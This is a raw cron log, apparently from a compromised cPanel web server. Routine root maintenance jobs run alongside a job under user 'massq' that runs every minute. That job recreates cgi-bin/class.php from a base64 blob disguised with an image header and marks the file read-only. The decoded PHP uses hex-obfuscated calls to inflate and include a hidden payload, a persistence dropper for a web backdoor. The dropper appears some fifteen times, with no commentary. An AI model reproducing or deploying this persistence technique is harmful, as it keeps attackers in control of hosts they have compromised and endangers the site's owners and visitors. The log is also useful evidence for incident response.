Nov 11 09:52:01 server CROND[19197]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:53:01 server CROND[20102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:54:01 server CROND[20922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:55:01 server CROND[21673]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:55:01 server CROND[21675]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 09:55:01 server CROND[21674]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 09:56:01 server CROND[22531]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:57:01 server CROND[23342]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 09:57:01 server CROND[23343]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:58:01 server CROND[24257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 09:59:01 server CROND[25081]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:00:01 server CROND[25914]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 10:00:01 server CROND[25915]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2&gt;&amp;1)
Nov 11 10:00:01 server CROND[25918]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 10:00:01 server CROND[25916]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 10:00:01 server CROND[25922]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:01:01 server CROND[26797]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:01:01 server CROND[26798]: (root) CMD (run-parts /etc/cron.hourly)
Nov 11 10:01:01 server run-parts(/etc/cron.hourly)[26798]: starting 0anacron
Nov 11 10:01:01 server run-parts(/etc/cron.hourly)[26810]: finished 0anacron
Nov 11 10:02:01 server CROND[27639]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:03:01 server CROND[28601]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:04:01 server CROND[29405]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 10:05:01 server CROND[30228]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
